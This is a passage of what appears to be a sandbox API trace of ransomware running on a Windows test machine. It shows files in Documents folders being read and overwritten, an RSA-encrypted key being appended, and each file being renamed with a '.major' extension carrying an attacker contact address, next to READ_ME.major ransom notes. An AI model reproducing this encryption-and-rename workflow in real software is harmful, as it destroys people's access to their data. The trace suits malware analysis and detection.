lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.876] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.876] WriteFile (in: hFile=0x7a0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.876] CloseHandle (hObject=0x7a0) returned 1 [0169.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.876] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\KAOq7VmuVrL0X1.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\mkzvcdf4ybynj2cnj\\kaoq7vmuvrl0x1.pdf"), lpNewFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\KAOq7VmuVrL0X1.pdf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\mkzvcdf4ybynj2cnj\\kaoq7vmuvrl0x1.pdf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x651ca8 | out: hHeap=0x570000) returned 1 [0169.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f60 | out: hHeap=0x570000) returned 1 [0169.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655a38 | out: hHeap=0x570000) returned 1 [0169.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558e8 | out: hHeap=0x570000) returned 1 [0169.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x6558e8 [0169.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e48 [0169.878] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.878] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\gHM7JVbvUObuO.csv", dwFileAttributes=0x80) returned 1 [0169.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x656020 [0169.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x652658 [0169.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656020 | out: hHeap=0x570000) returned 1 [0169.878] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\gHM7JVbvUObuO.csv" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\mkzvcdf4ybynj2cnj\\ghm7jvbvuobuo.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a0 [0169.878] GetFileSizeEx (in: hFile=0x7a0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=32692) returned 1 [0169.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7fb4) returned 0x6590d8 [0169.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7fb4) returned 0x661098 [0169.878] ReadFile (in: hFile=0x7a0, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x7fb4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x7fb4, lpOverlapped=0x0) returned 1 [0169.879] SetFilePointer (in: hFile=0x7a0, lDistanceToMove=-32692, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.879] WriteFile (in: hFile=0x7a0, lpBuffer=0x661098*, nNumberOfBytesToWrite=0x7fb4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661098*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7fb4, lpOverlapped=0x0) returned 1 [0169.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661098 | out: hHeap=0x570000) returned 1 [0169.879] SetFilePointer (in: hFile=0x7a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7fb4 [0169.880] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.880] WriteFile (in: hFile=0x7a0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.880] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.880] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.880] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.880] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="RskqrU9LHJ1JCriGe60FTR713dOh11TLMqT+aVXwZ0tsfyBfagEzeKJeymxe5K7K\nOfx4SAUgy2RjKOmb7NzjoWfFerSaUSsJy73EzZSe5ZtJDzRwFcwNLhhtGQxevOsU\ncp7U8FEdR9qWiol9R9L/8fbX0HZ0CPyA1E1xAAQ52QawZRJ/M1ibgp/zWmT/5zNU\nH4Ol+OpVHaL2gRuUlJua4JTTqKcjeJOV4/O6aCBef9vqNQ8n0tsnlR81QQwxmK4K\nVHDlvydpEWIyHlmdfmM0zDrRUFl40yayXPw6OxOMT9W8o8mKTG/sDrUfPvDCPVhV\nS8Uu+G+l3q4jOgtyr8QVtg==\n", pcchString=0x2e3f9a8) returned 1 [0169.880] WriteFile (in: hFile=0x7a0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.880] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.880] WriteFile (in: hFile=0x7a0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.880] CloseHandle (hObject=0x7a0) returned 1 [0169.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.881] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\gHM7JVbvUObuO.csv" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\mkzvcdf4ybynj2cnj\\ghm7jvbvuobuo.csv"), lpNewFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\gHM7JVbvUObuO.csv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\mkzvcdf4ybynj2cnj\\ghm7jvbvuobuo.csv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652658 | out: hHeap=0x570000) returned 1 [0169.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e48 | out: hHeap=0x570000) returned 1 [0169.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558e8 | out: hHeap=0x570000) returned 1 [0169.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656800 | out: hHeap=0x570000) returned 1 [0169.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb00 [0169.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0169.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0169.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11d0 | out: hHeap=0x570000) returned 1 [0169.882] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e316620, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x10109bb0, ftLastAccessTime.dwHighDateTime=0x1d4cbb5, ftLastWriteTime.dwLowDateTime=0x1c793bd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653a60 [0169.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0169.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0169.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0169.882] GetLastError () returned 0x0 [0169.883] SetLastError (dwErrCode=0x0) [0169.883] GetLastError () returned 0x0 [0169.883] SetLastError (dwErrCode=0x0) [0169.883] GetLastError () returned 0x0 [0169.883] SetLastError (dwErrCode=0x0) [0169.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0169.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be420 [0169.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0169.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x657078 [0169.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x653fe0 [0169.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653fe0 | out: hHeap=0x570000) returned 1 [0169.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40408 [0169.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0169.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657078 | out: hHeap=0x570000) returned 1 [0169.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0169.883] FindNextFileW (in: hFindFile=0x653a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e316620, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x10109bb0, ftLastAccessTime.dwHighDateTime=0x1d4cbb5, ftLastWriteTime.dwLowDateTime=0x1c793bd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0169.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0169.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0169.883] GetLastError () returned 0x0 [0169.883] SetLastError (dwErrCode=0x0) [0169.883] GetLastError () returned 0x0 [0169.883] SetLastError (dwErrCode=0x0) [0169.883] GetLastError () returned 0x0 [0169.883] SetLastError (dwErrCode=0x0) [0169.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0169.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be688 [0169.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be688 | out: hHeap=0x570000) returned 1 [0169.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f88 [0169.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6540a0 [0169.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6540a0 | out: hHeap=0x570000) returned 1 [0169.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0169.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0169.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f88 | out: hHeap=0x570000) returned 1 [0169.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0169.884] FindNextFileW (in: hFindFile=0x653a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a78240, ftCreationTime.dwHighDateTime=0x1d4c885, ftLastAccessTime.dwLowDateTime=0x2ef72590, ftLastAccessTime.dwHighDateTime=0x1d4cde9, ftLastWriteTime.dwLowDateTime=0x2ef72590, ftLastWriteTime.dwHighDateTime=0x1d4cde9, nFileSizeHigh=0x0, nFileSizeLow=0x6c7b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="CeUoeOLc0.pps", cAlternateFileName="CEUOEO~1.PPS")) returned 1 [0169.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0169.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0169.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0169.884] GetLastError () returned 0x0 [0169.884] SetLastError (dwErrCode=0x0) [0169.884] GetLastError () returned 0x0 [0169.884] SetLastError (dwErrCode=0x0) [0169.884] GetLastError () returned 0x0 [0169.884] SetLastError (dwErrCode=0x0) [0169.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ee8 [0169.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0169.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdc40 [0169.884] FindNextFileW (in: hFindFile=0x653a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbff41010, ftCreationTime.dwHighDateTime=0x1d4cf30, ftLastAccessTime.dwLowDateTime=0x2345a1f0, ftLastAccessTime.dwHighDateTime=0x1d4c84d, ftLastWriteTime.dwLowDateTime=0x2345a1f0, ftLastWriteTime.dwHighDateTime=0x1d4c84d, nFileSizeHigh=0x0, nFileSizeLow=0x18a69, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DgvRmO.ods", cAlternateFileName="")) returned 1 [0169.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0169.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0169.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0169.884] GetLastError () returned 0x0 [0169.884] SetLastError (dwErrCode=0x0) [0169.884] GetLastError () returned 0x0 [0169.884] SetLastError (dwErrCode=0x0) [0169.884] GetLastError () returned 0x0 [0169.884] SetLastError (dwErrCode=0x0) [0169.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e48 [0169.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e48 | out: hHeap=0x570000) returned 1 [0169.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0169.884] FindNextFileW (in: hFindFile=0x653a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de86c60, ftCreationTime.dwHighDateTime=0x1d4c5e0, ftLastAccessTime.dwLowDateTime=0x6450aae0, ftLastAccessTime.dwHighDateTime=0x1d4d311, ftLastWriteTime.dwLowDateTime=0x6450aae0, ftLastWriteTime.dwHighDateTime=0x1d4d311, nFileSizeHigh=0x0, nFileSizeLow=0x122d1, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="kyuj7ameK8iN.pps", cAlternateFileName="KYUJ7A~1.PPS")) returned 1 [0169.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0169.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0169.884] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0169.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0169.884] GetLastError () returned 0x0 [0169.885] SetLastError (dwErrCode=0x0) [0169.885] GetLastError () returned 0x0 [0169.885] SetLastError (dwErrCode=0x0) [0169.885] GetLastError () returned 0x0 [0169.885] SetLastError (dwErrCode=0x0) [0169.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0169.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0169.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0169.885] FindNextFileW (in: hFindFile=0x653a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c793bd4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1c793bd4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1c793bd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0169.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0169.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0169.885] GetLastError () returned 0x0 [0169.885] SetLastError (dwErrCode=0x0) [0169.885] GetLastError () returned 0x0 [0169.885] SetLastError (dwErrCode=0x0) [0169.885] GetLastError () returned 0x0 [0169.885] SetLastError (dwErrCode=0x0) [0169.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x657078 [0169.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657078 | out: hHeap=0x570000) returned 1 [0169.885] FindNextFileW (in: hFindFile=0x653a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c793bd4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1c793bd4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1c793bd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x58eb18 [0169.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fb0 [0169.885] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.885] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\kyuj7ameK8iN.pps", dwFileAttributes=0x80) returned 1 [0169.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x58eb90 [0169.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0169.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb90 | out: hHeap=0x570000) returned 1 [0169.886] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\kyuj7ameK8iN.pps" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\4edlql\\kyuj7amek8in.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0169.886] GetFileSizeEx (in: hFile=0x7a4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=74449) returned 1 [0169.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x122d1) returned 0x6590d8 [0169.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x122d1) returned 0x2ea0f38 [0169.886] ReadFile (in: hFile=0x7a4, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x122d1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x122d1, lpOverlapped=0x0) returned 1 [0169.887] SetFilePointer (in: hFile=0x7a4, lDistanceToMove=-74449, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.887] WriteFile (in: hFile=0x7a4, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x122d1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x122d1, lpOverlapped=0x0) returned 1 [0169.888] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.888] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ea0f38 | out: hHeap=0x570000) returned 1 [0169.888] SetFilePointer (in: hFile=0x7a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x122d1 [0169.888] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.888] WriteFile (in: hFile=0x7a4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.888] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.888] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.889] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.889] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Z98cNq3Y9HcgW/JEiChiLRwlMQOKyoLUiSgGuasKSpyiEUaanhSIb9MT6cgiKeZI\nMsP9UUIvKsOS2D6bixzTOvUQ3u6cmpxJhS7+hYhm/AZwYUXq0e1ZPjjkzrCASSSb\nbhCnkJ3kylT4HQ1qYDJtB7f0k4NgDMyJ5kjQlZGofoY3EM74eVip3zfyAdy+NKtW\nkVIceKGlAbcVFRSVeKs8uqJDaL+/yAwXqIseW05ygN1X7SM59C2LK58KCQUjXSh3\ntmGy3E9NlkhA4BoxLlKzwrKfHLjbv30lRKNted2Brj0v3/LyVpJ7ryyYliuUxKh7\nXAWqjZzzCj2+GJZ4Pbj0PA==\n", pcchString=0x2e3f9a8) returned 1 [0169.889] WriteFile (in: hFile=0x7a4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.889] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.889] WriteFile (in: hFile=0x7a4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.889] CloseHandle (hObject=0x7a4) returned 1 [0169.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.889] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\kyuj7ameK8iN.pps" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\4edlql\\kyuj7amek8in.pps"), lpNewFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\kyuj7ameK8iN.pps.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\4edlql\\kyuj7amek8in.pps.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.890] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0169.890] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fb0 | out: hHeap=0x570000) returned 1 [0169.890] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb18 | out: hHeap=0x570000) returned 1 [0169.890] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0169.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) 